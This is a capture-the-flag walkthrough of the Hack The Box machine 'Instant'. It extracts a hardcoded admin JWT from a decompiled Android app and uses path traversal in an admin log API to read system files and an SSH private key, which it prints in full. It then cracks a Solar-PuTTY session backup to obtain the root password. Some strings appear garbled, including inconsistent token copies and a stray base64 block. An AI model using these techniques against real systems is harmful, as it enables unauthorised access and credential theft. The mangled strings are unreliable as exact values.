
HTB - Instant



Enumeration

First we start by adding instant.htb to the hosts file.

After browsing to the web page, we are greeted with a download link to an android APK.

```
apktool d instant.apk
```

We will use apktool to disassemble the file and dig into the stored data.

```
grep -r "instant.htb"
res/layout/activity_forgot_password.xml:
                                                <TextView
android:textSize="14.0sp" android:layout_width="fill_parent"
android:layout_height="wrap_content" android:layout_margin="25.0dip"
android:text="Please contact support@instant.htb to have your account
recovered" android:fontFamily="sans-serif-condensed"
android:textAlignment="center" />
res/xml/network_security_config.xml:
                                            <domain
includeSubdomains="true">mywalletv1.instant.htb</domain>
res/xml/network_security_config.xml:
includeSubdomains="true">swagger-ui.instant.htb</domain>
smali/com/instantlabs/instant/TransactionActivity$2.smali: const-string v1,
"http://mywalletv1.instant.htb/api/v1/confirm/pin"
smali/com/instantlabs/instant/RegisterActivity.smali:
                                                         const-string p4,
"http://mywalletv1.instant.htb/api/v1/register"
smali/com/instantlabs/instant/LoginActivity.smali:
                                                      const-string v1,
"http://mywalletv1.instant.htb/api/v1/login"
smali/com/instantlabs/instant/AdminActivities.smali:
                                                        const-string v2,
"http://mywalletv1.instant.htb/api/v1/view/profile"
smali/com/instantlabs/instant/ProfileActivity.smali:
                                                        const-string v7,
"http://mywalletv1.instant.htb/api/v1/view/profile"
```

```
smali/com/instantlabs/instant/TransactionActivity.smali: const-string v0,
"http://mywalletv1.instant.htb/api/v1/initiate/transaction"
```

First, we will want to see if there are any new subdomains to look further into. By running grep we can find two:

```
mywalletv1.instant.htb and swagger-ui.instant.htb
```

We will add these both to the hosts file. It should now look something like this:

```
10.10.11.37 instant.htb mywalletv1.instant.htb swagger-ui.instant.htb
```

Looking at the list above, we can see mentions of admin. We will check out the files to see if they have anything interesting.

```
const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"

.line 24
  invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;-
>url(Ljava/lang/String;)Lokhttp3/Request$Builder;

move-result-object v1

const-string v2, "Authorization"

const-string v3,
"eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQi
OiJmMGVjYTZlNSO3ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ
.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
```

Checking into the AdminActivies.smali file, there is mention of a header for Authorization. This can likely be used to grab an administrator session.

Exploitation

```
curl -H "Authorization:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiO
iJmMGVjYTZlNSO3ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
http://mywalletv1.instant.htb/api/v1/view/profile
```

```
http://mywalletv1.instant.htb/api/v1/view/profile
{"Profile":
{"account_status":"active","email":"admin@instant.htb","invite_token":"instant
_admin_inv","role":"Admin","username":"instantAdmin","wallet_balance":"1000000
0","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},"Status":200}
```

Running the test gives us confirmation that this token is valid.

```
http://swagger-ui.instant.htb/apidocs/#/Logs/get_api_v1_admin_view_logs
```

Next, we can check out the swagger documentation for the API. Looking into the admin section, we can see mention of viewing logs.

```
curl -H "Authorization:
eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQi0
iJmMGVjYTZlNS030DNhLTQ3MWQt0WQ4Zi0wMTYyY2Jj0TAwZGIiLCJleHAi0jMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
http://mywalletv1.instant.htb/api/v1/admin/view/logs
```

```
{"Files":["1.log"],"Path":"/home/shirohige/logs/","Status":201}
```

Running the command validates that we can view logs. It also states the full path, we can look into possibly using this to abuse the path.

```
http://swagger-ui.instant.htb/apidocs/#/Logs/get_api_v1_admin_read_log
```

Next to the view logs, there is read logs. This will allow for us to view the file mentioned above.

```
curl -H "Authorization:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiO
iJmMGVjYTZlNS030DNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log
```

```
{"/home/shirohige/logs/1.log":["This is a sample log testing\n"],"Status":201}
```

This works as well. No useful data here.

```
curl -H "Authorization:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiO
iJmMGVjYTZlNS030DNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
http://mywalletv1.instant.htb/api/v1/admin/read/log?
log_file_name=../../.etc/hosts
```

```
{"/home/shirohige/logs/../../etc/hosts":["127.0.0.1 localhost instant.htb mywalletv1.instant.htb swagger-ui.instant.htb\n","127.0.1.1 instant\n","\n","#
The following lines are desirable for IPv6 capable hosts\n","::1 ip6-localhost ip6-loopback\n","fe00::0 ip6-localnet\n","ff00::0 ip6-mcastprefix\n","ff02::1 ip6-allnodes\n","ff02::2 ip6-allrouters\n"],"Status":201}
```

Testing the API for LFI, we find that the application allows us to read any files. Above is an example of reading the hosts file.

```
curl -H "Authorization:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiO
iJmMGVjYTZlNS030DNhLTQ3MWQtOWQ4Zi0wMTYyY2Jj0TAwZGIiLCJleHAi0jMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
http://mywalletv1.instant.htb/api/v1/admin/read/log?
log_file_name=../.ssh/id_rsa
```

{"/home/shirohige/logs/../.ssh/id_rsa":["----BEGIN OPENSSH PRIVATE KEY-----\n","b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAABlwAAAAAdzc2gtcn\n" , "NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B\n", "n wQ1vzh3BDyxhL3WLA3jPnkbB8j4luRrOfHNjK8lGef0MYtY/T5hE0VeHv73uE0A/BoeaH\n","dAGh QuAAsDj8Avy1yQMZDV31PHcGEDu/0dU9jGmhjXfS70gfebpII3js90mKXQAFc2T5k/\n","5xL+1MH nZBiQqKvjbphueqpy9gDadsiAvKtOA8I6hpDDLZalak9Rqi+BsFvBsnz244uCBY\n", "8juWZrzme8 TG5Np6KIg1tdZ1cqRL7lNVMgo7AdwQCVrUhBxKvTEJmIzR/4o+/w9njJ3+WF\n","uaMbBzOsNCAnX b1Mk0ak42gNLqcrYmupUepN1QuZPL7xAbDNYK2OCMxws3rFPHgjhbqWPS\n","jBlC7kaBZFqbUOA5 7SZPqJY9+F0jttWqxLxr5rtL15JNaG+rDfkRmmMzbGryCRiwPc//AF\n","0q8vzE9XjiXZ2P/jJ/E XahuaL9A2Zf9YMLabUgGDAAAFiKxBZXusQWV7AAAAB3NzaC1yc2\n","EAAAGBAKW57ZWpZp2VnE1W dLJCDdvj6ag+MY2ICK2cmc3fWLSRrr/8NxlvAZ8ENb84dwQ8\n", "sYS91iwN4z55GwfI+Jbkaznxz YyvJRnnzjGLWP0+YRNFXh7+97hDgPwaHmh3QBoULgALA4\n","/AL8tckDGQ1d9Tx3BhA7v9HVPYxp oY130u9IH3m6SCN47PTpil0ABXNk+ZP+cS/tTB52QY\n","kKir426YbnqqcvYA2nbIgLyrTgPCOoa Qwy2WpWpPUYIvgbBbwbJ89uOLggWPI7lma85nvE\n","xuTaeiiINbXWdXKkS+5TVTIKOwHcEAla1I QcSr0xCZiM0f+KPv8PZ4yd/lhbmjGwczrDQg\n","J129TJNGpONoDS6nK2JrqVHqTdULmTy+8QGwz WCtjgjMcLN6xTx4I4W6lj0owZQu5GgWRa\n","m1DgOe0mT6iWPfhdI7bVqsS8a+a7S9eSTWhvqw35 EZpjM2xq8gkYsD3P/wBTqvL8xPV44l\n","2dj/4yfxF2obmi/QNmX/WDC2m1IBgwAAAAMBAAEAAAG ARudITbq/S3aB+9icbt0x6D0XcN\n", "SUkM/9noGckCcZZY/aqwr2a+xBTk5XzGsVCHwLGxa5Nfnv GoBn3ynNqYkqkwzv+1vHzNCP\n","OEU9GoQAtmT8QtilFXHUEof+MIWsqDuv/pa3vF3mVORSUNJ9n

mHStzLajShazs+1EKLGNy\n","nKtHxCW9zWdkQdhVOTrUGi2+VeILfQzSf0ng+f3HpGAMA4rESWkM eGsEFSSuYjp5oGviHb\n","T3rfZJ9w6Pj4TILFWV769TnyxWhUHcnXoTX90Tf+rAZgSNJm0I0fplb OdotXxpvWtjTe9y\n","1Vr6kD/aH2rqSHE1lbO6qBoAdiyycUAajZFbtHsvI5u2SqLvsJR5AhOkDZ w2u07XS0sE/0\n", "cadJY1PEq0+Q7X7WeAqY+juyXDwVDKbA0PzIq66Ynnwmu0d2iQkLHdxh/Wa5p fuEyreDqA\n", "wDjMz7oh0APgkznURGnF66jmdE7e9pSV1wiMpgsdJ3UIGm6d/cFwx8I4odzDh+1j RRAAAA\n", "wQCMDTZMyD8WuHpXgcsREvTFTGskIQOuY0NeJz3yOHuiGEdJu227BHP3Q0CRjjHC74f N18\n", "nB8V1c1FJ03Bj9KKJZAsX+nDFSTLxUOy7/T39Fy45/mzA1bjbgRfbhheclGqcOW2ZgpqCK \n","gzGrFox3onf+N5Dl0Xc9FWdjQFcJi5KKpP/0RNsjoXzU2xVeHi4EGo0+6VW2patq2sblVt\n" ,"pErOwUa/cKVlTdoUmIyeqqtOHCv6QmtI3kylhahrQw0rcbkSqAAADBAOAK8JrksZjy4MJh\n","H SsLq1bCQ6nSP+hJXXjlm0FYcC4jLHbDoYWSilq96D1n1kyALvWrNDH9m7RMtS5WzBM3FX\n","zKCw ZBxrcPuU0raNkO1haQlupCCGGI5adMLuvefvthMxYxoAPrppptXR+g4uimwp1oJcO5\n", "SSYSPxM LojS9gg++Jv8IuFHerxoTwr1eY8d3smeOBc62yz3tIYBwSe/L1nIY6nBT57D00Y\n", "CGGElC1cS7 pOg/XaOh1bPMaJ4Hi3HUWwAAAMEAvV2Gzd98tSB92CSKct+eFqcX2se5UiJZ\n","n90GYFZoYuRer YOQjdGOOCJ4D/SkIpv0qqPQNulejh7DuHKiohmK8S59uMPMzqzQ4BRW0G\n","HwDs1CAcoWDnh7yh GK6lZM3950r1A/RPwt9FcvWfEoQqwvCV37L7YJJ7rDWlTa06qHMRMP\n","5VNy/4CNnMdXALx00MV NNoY1wPTAb0x/Pgvm24KcQn/7WCms865is11BwYYPaig5F5Zo1r\n", "bhd6Uh7ofGRW/5AAAAEXNo aXJvaGlnZUBpbnN0YW50AQ==\n","----END OPENSSH PRIVATE KEY----\n"], "Status": 201}

Going down one level and attempting to read an ssh key results in success. Cleaning it up should result in this below.

----BEGIN OPENSSH PRIVATE KEY----

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

----END OPENSSH PRIVATE KEY----

Running chmod 600 FILENAMEHERE will allow this to be used to connect using the command ssh USERNAME -i FILENAMEHERE. We already have the username of shirohige.

From here, we can retrieve the user.txt file.

Privilege Escalation

After connecting, we can take a look into other interesting files or begin enumeration of the system.

ZJlEkpkqLgj2PlzCyLk4gtCfsG02CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbd07l2 fEbSl/0zVAmNq0Y094RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kv0B0bNd/4PXn3j 3wVMVzpNxuKuSJ0vv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9 oCSIbR03/0KHKXvp05Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/r M7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+0Upo i/j/H0NIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/0HfG8xzbv0NnRxtiaK10KYh++n/Y3 kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF450x6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmX T1fQQHyB7RDnGUgpfvtCZS8oyVvrrq0yz0Yl8f/Ct8iGbv/W0/S0fFqSvPQGBZnqC8Id/enZ1DRp02 UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XI z9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7 h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81 PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIIFZEqcuiYUZAEgXgUpTi7UvM VKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbN TiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf00o2+yV3lwsBIU WvhOw2q=

After looking into the /opt directory, we are greeted with a backups folder that contains a sessions-backup.dat file from Solar-PuTTY. This is a session backup from the Solar-Winds PuTTY software.

Looking into the software, it appears that this can be cracked using the following script: https://gist.github.com/xHacka/052e4b09d893398b04bf8aff5872d0d5

```
python3 SolarPuttyDecrypt.py sessions-backup.dat
/usr/share/wordlists/rockyou.txt
[103] password='estrella'
{"Sessions":[{"Id":"066894ee-635c-4578-86d0-
d36d4838115b", "Ip": "10.10.11.37", "Port": 22, "ConnectionType": 1, "SessionName": "I
nstant", "Authentication":0, "CredentialsID": "452ed919-530e-419b-b721-
da76cbe8ed04", "AuthenticateScript": "00000000-0000-0000-0000-
000000000000", "LastTimeOpen": "0001-01-
01T00:00:00", "OpenCounter":1, "SerialLine":null, "Speed":0, "Color": "#FF176998", "
TelnetConnectionWaitSeconds":1, "LoggingEnabled":false, "RemoteDirectory":""}],"
Credentials":[{"Id":"452ed919-530e-419b-b721-
da76cbe8ed04", "CredentialsName": "instant-
root", "Username": "root", "Password": "12**24nzC!r0c%q12", "PrivateKeyPath": "", "Pa
ssphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":
[], "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-
PuTTY\\SessionLogs"}
```

It looks like a session was saved for the root user.

Root

Using the session, we can use the sudo -s command with the password to get a root session.

We can now retrieve the root.txt file.